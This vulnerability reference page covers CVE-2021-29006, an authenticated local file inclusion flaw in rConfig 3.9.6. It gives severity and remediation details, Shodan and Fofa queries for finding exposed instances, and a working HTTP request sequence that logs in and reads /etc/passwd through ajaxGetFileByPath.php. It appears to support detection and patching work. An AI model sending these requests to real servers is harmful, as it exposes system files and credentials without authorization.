🔙 목록으로 돌아가기

CVE-2021-29006: rConfig 3.9.6 - Local File Inclusion

TitlerConfig 3.9.6 - Local File Inclusion
Authorr3Y3r53
SeverityMedium
ImpactAuthenticated attackers can read arbitrary files from the server including /etc/passwd, potentially exposing sensitive system information and credentials.
RemediationUpgrade to rConfig version 3.9.7 or later.
CVSS Score6.5
EPSS Score0.30402
CVE IDCVE-2021-29006
CWE IDCWE-22
Shodan Queryhttp.title:"rConfig"http.title:"rconfig"
Fofa Querytitle="rconfig"
Tags cve2021 cve rconfig authenticated lfi vuln

🔍 Vulnerability Description

rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.

🌐 HTTP Request

POST /lib/crud/userprocess.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15
Connection: close
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user=4WzPwq&pass=OyrAQA&sublogin=1
GET /dashboard.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763
Connection: close
Accept-Encoding: gzip
GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-29006.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-29006.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A